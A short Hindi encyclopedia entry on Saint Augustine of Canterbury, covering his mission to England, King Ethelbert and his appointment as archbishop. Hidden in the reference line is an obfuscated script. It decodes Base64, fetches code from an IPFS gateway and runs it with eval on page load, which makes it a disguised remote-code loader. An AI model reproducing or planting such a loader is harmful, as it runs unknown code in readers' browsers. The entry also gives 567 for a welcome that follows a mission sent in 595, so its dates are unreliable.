अगस्तिन  

अगस्तिन, संत कैंटरबरी के प्रथम आर्चबिशप तथा दक्षिण इंग्लैंड में ईसाई धर्म के संस्थापक। अगस्तिन या आगस्तिन वेनेदिक्तिन संघ के सदस्य थे। 595 ई. में पोप ग्रेगोरी प्रथम ने उनको अपने संघ के चालीस मठवासियों के साथ इंग्लैंड भेज दिया। केंट के राजा इथलबेर्ट ने उनका 567 ई. में स्वागत किया तथा उनको धर्म प्रचार करने की आज्ञा दी। राजा स्वयं ईसाई बन गए जिससे अगस्तिन के धर्म प्रचार की सफलता और बढ़ गई। 601 ई. में वह कैंटरबरी के प्रथम आर्च बिशप नियुक्त हुए। उनका देहांत संभवत 604 ई. में हुआ।[१]



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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 72 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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